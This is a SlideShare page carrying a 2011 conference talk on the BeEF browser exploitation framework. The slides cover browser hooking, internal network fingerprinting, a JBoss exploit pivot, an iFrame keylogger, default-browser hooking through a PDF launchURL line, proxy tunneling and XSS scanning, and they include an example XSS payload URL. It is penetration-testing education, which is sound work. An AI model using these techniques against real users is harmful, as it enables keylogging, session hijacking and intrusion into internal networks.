Ground BeEF:Cutting, devouring and digesting     the legs off a browser          Michele „antisnatchor” Orru’             ...
Who am I?✴ Penetration Tester @ The Royal Bank of Scotland✴ BeEF developer:    Tunneling Proxy,    XssRays integration,   ...
Outline✴ What the hell is BeEF?✴Cutting    Target enumeration and analysis✴Devouring    Internal net fingerprint    Exploi...
What the hell is BeEF?✴ BeEF: Browser Exploitation Framework✴Pioneered by Wade Alcorn in 2005 (public release)✴Powerful pl...
What the hell is BeEF?
Cutting: Target enum and                 analysis✴ Lot of juicy information after first hook initialization : ✴Browser/OS ...
Cutting: Target enum and        analysis
Devouring: Internal net fingerprint    Recon/NetworkFingerprinting module✴Knowing the victim internal IP, the attacker can...
Devouring: Internal net fingerprint✴ Great preso „Intranet Footprinting”    by Javier Marcos and Juan Galiana (Owasp AppSe...
Devouring: exploiting internal               services✴Network/JbossJmxUploadExploit module✴JBoss 4.x, 5.1.0, 6.0.0.M1 JMX ...
Devouring: persistent keylogging    Persistence/iFrameKeylogger module ✴We can inject a 100% width/height overlay iFrame t...
Devouring: module autorun✴ We’ve ported back (from the old PHP version) the autorun feature✴Add autorun: true in the comma...
Digesting: hook default browser✴Originally disclosed by Billy (xs-sniper) Rios on „Expanding the Attack Surface” Browser/H...
Digesting: tunneling proxy✴Having a communication channel with the hooked browser, we can: ✴Receive requests as a proxy on...
Digesting: tunneling proxy     Let see the tunneling       proxy in action!
Digesting: XssRays✴ Originally developed by Gareth Heyes in 2009 as a pure JS-based XSS scanner✴ The XssRays BeEF extensio...
Digesting: XssRays✴We inject a vector that will contact back BeEF if the JS code will be successfullyexecuted (thus, the X...
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Digesting: XssRays in a nutshell
Future dev and ideas✴Improve XssRays: ✴add more attack vectors, more testing ✴add JS depth crawler✴Multi-hooking: a browse...
Get in touch with us✴Follow the BeEF: @beefproject✴Checkout BeEF: http://code.google.com/p/beef/✴Check our website: http:/...
Thanks to✴Wade Alcorn and the other BeEF ninjas: Ben, Scotty, Christian, Brendan, Saafan,. .✴My colleagues Piotr & Michal✴...
Questions?Thanks for your time guys ;-)
Upcoming SlideShare
Loading in …5
×

Be ef presentation-securitybyte2011-michele_orru

4,356 views

Published on

Outline:
What the hell is BeEF? ✴Cutting
Target enumeration and analysis ✴Devouring
Internal net fingerprint Exploiting internal services through the hooked browser Keylogging, browser pwnage
✴Digesting Persistence, tunneling sqlmap/Burp through BeEF proxy XSSrays integration
✴Future development and ideas

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
4,356
On SlideShare
0
From Embeds
0
Number of Embeds
1,839
Actions
Shares
0
Downloads
49
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Be ef presentation-securitybyte2011-michele_orru

  1. 1. Ground BeEF:Cutting, devouring and digesting the legs off a browser Michele „antisnatchor” Orru’ 6 September 2011
  2. 2. Who am I?✴ Penetration Tester @ The Royal Bank of Scotland✴ BeEF developer: Tunneling Proxy, XssRays integration, various exploits, lot of bug-fixing, testing and fun✴ Kubrick fan✴ Definitely not a fan of our Italian prime minister Silvio „bunga-bunga” Berlusconi✴@antisnatchor✴http://antisnatchor.com
  3. 3. Outline✴ What the hell is BeEF?✴Cutting Target enumeration and analysis✴Devouring Internal net fingerprint Exploiting internal services through the hooked browser Keylogging, browser pwnage✴Digesting Persistence, tunneling sqlmap/Burp through BeEF proxy XSSrays integration✴Future development and ideas
  4. 4. What the hell is BeEF?✴ BeEF: Browser Exploitation Framework✴Pioneered by Wade Alcorn in 2005 (public release)✴Powerful platform for Client-side pwnage, XSS post-exploitation and generally victimbrowser security-context abuse✴Each browser is likely to be within a different security context, and each context mayprovide a set of unique attack vectors.✴ The framework allows the penetration tester to select specific modules (in real-time)to target each browser, and therefore each context.
  5. 5. What the hell is BeEF?
  6. 6. Cutting: Target enum and analysis✴ Lot of juicy information after first hook initialization : ✴Browser/OS version ✴Cookies ✴Browser plugins ✴Supported features (Google Gears, Web Sockets, Flash, Java, . .)✴Specific modules are also there to help ✴Detect links/visited URLs ✴Detect social networks (authenticated in Twitter, Gmail, Facebook) and Tor ✴Execute your custom Javascript
  7. 7. Cutting: Target enum and analysis
  8. 8. Devouring: Internal net fingerprint Recon/NetworkFingerprinting module✴Knowing the victim internal IP, the attacker can start to fingerprint the internalnetwork via Javascript to find common servers and devices.✴The approach currently in use is similar to Yokoso (InGuardians) ✴Map of device/application default images ✴img tags are loaded into the victim DOM ✴Onload event, if (image width/height/path == deviceImageMapEntry), then deviceXYZ@IP has been successfully found✴Watch „Jboss 6.0.0M1 JMX Deploy Exploit: the BeEF way... ” on Vimeo(http://vimeo.com/24410203) for a practical example
  9. 9. Devouring: Internal net fingerprint✴ Great preso „Intranet Footprinting” by Javier Marcos and Juan Galiana (Owasp AppSec Eu 2011)✴ They developed new BeEF modules✴They are working with us and theirwork will be available in BeEF trunk soon. A few examples: ✴Internal DNS enumeration ✴Reliable Port Scanning ✴Ping sweep
  10. 10. Devouring: exploiting internal services✴Network/JbossJmxUploadExploit module✴JBoss 4.x, 5.1.0, 6.0.0.M1 JMX deploy exploit is available in MSF, but you need to havedirect access to the target (or use a host as a pivot)✴Then why not use the victim browser as a pivot?
  11. 11. Devouring: persistent keylogging Persistence/iFrameKeylogger module ✴We can inject a 100% width/height overlay iFrame that loads the login page (in-domain), attaching a listener for keyboard events (keylogger) in JS.✴After the victim logs in, she willstay in the injected iFrame while thecommunication channel will bepersistent in thebackground.
  12. 12. Devouring: module autorun✴ We’ve ported back (from the old PHP version) the autorun feature✴Add autorun: true in the command module config.yaml that you want to autorun✴When a new browser will be hooked in BeEF, the module will be automatically launched✴Imagine adding autorun: true inMetasploit autopwn module (anotherfeature ported back)...
  13. 13. Digesting: hook default browser✴Originally disclosed by Billy (xs-sniper) Rios on „Expanding the Attack Surface” Browser/HookDefault module✴We use a PDF in order to attempt hooking the default browser✴When executed, the hooked browser will load a PDF in a new window and use that tostart the default browser. ✴app.launchURL("http://192.168.56.1/page-With-BeEF-Hook-Js.html",true); ✴If everything will be ok, we hooked the default browser.✴We are planning to improve it: ✴make the bounce page configurable by the user ✴use a ruby PDF library in order to manipulate the PDF via the web UI
  14. 14. Digesting: tunneling proxy✴Having a communication channel with the hooked browser, we can: ✴Receive requests as a proxy on BeEF ✴Translate these requests to XHRs (in-domain) ✴Parse the XHRs responses and send the data back to the original requestor...✴Using the victim browser hooked in BeEF as a tunneling proxy, we will see thefollowing scenarios: ✴browsing the authenticated surface of the hooked domain through the security context of the victim browser; ✴spidering the hooked domain through the security context of the victim browser; ✴finding and exploiting SQLi with Burp Pro Scanner + sqlmap (through the victim browser too :-) ).
  15. 15. Digesting: tunneling proxy Let see the tunneling proxy in action!
  16. 16. Digesting: XssRays✴ Originally developed by Gareth Heyes in 2009 as a pure JS-based XSS scanner✴ The XssRays BeEF extension allows you to check if links, forms and URI paths of thepage where the browser is hooked are vulnerable to XSS.✴What XssRays do is basically parse all the links and forms of the page where it isloaded and check for XSS on GET, POST parameters, and also in the URI path.✴The original code by Gareth, from 2009, used a nice trick (the location.hash fragment)in order to have a sort of callback between parent and child iFrames✴This is now patched by all recent browsers.So how to check for XSSs cross-domain, respecting the SOP restrictions?
  17. 17. Digesting: XssRays✴We inject a vector that will contact back BeEF if the JS code will be successfullyexecuted (thus, the XSS confirmed).✴No false positives (oh yes, that’s what I like)!✴Basically the document.location.href of the injected iFrame that contains the vectorwill point to a know BeEF resource. The following is an example value of href:✴http://192.168.84.1:3000/ui/xssrays/rays?hbsess=ZdGQG32VvYmozDP3ia0mvNd5PwcjR9lXuzmTmxm1mAckrgjqA9bIfg41Si2eOfVpviNWYk9vi2q3kvZB&raysscanid=3&poc=http://192.168.84.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&&name=Standard%20script%20injection%20double&method=GET✴Next step is multihooking: hook a browser on multiple domains, to extend the attacksurface.
  18. 18. Digesting: XssRays in a nutshell
  19. 19. Digesting: XssRays in a nutshell
  20. 20. Digesting: XssRays in a nutshell
  21. 21. Digesting: XssRays in a nutshell
  22. 22. Digesting: XssRays in a nutshell
  23. 23. Digesting: XssRays in a nutshell
  24. 24. Digesting: XssRays in a nutshell
  25. 25. Digesting: XssRays in a nutshell
  26. 26. Digesting: XssRays in a nutshell
  27. 27. Digesting: XssRays in a nutshell
  28. 28. Digesting: XssRays in a nutshell
  29. 29. Future dev and ideas✴Improve XssRays: ✴add more attack vectors, more testing ✴add JS depth crawler✴Multi-hooking: a browser can be hooked on multiple domains✴Check for time-based blind SQLi cross-domain via JS✴Improve the BeEF console (command line UI)✴Well...take a look here: http://code.google.com/p/beef/issues/list
  30. 30. Get in touch with us✴Follow the BeEF: @beefproject✴Checkout BeEF: http://code.google.com/p/beef/✴Check our website: http://beefproject.com✴Have fun with it✴We’re hiring!!! (but we’ll not pay you...seriously, we have so many tasks to do, join us)
  31. 31. Thanks to✴Wade Alcorn and the other BeEF ninjas: Ben, Scotty, Christian, Brendan, Saafan,. .✴My colleagues Piotr & Michal✴My employer✴SecurityByte crew and you attendees
  32. 32. Questions?Thanks for your time guys ;-)

×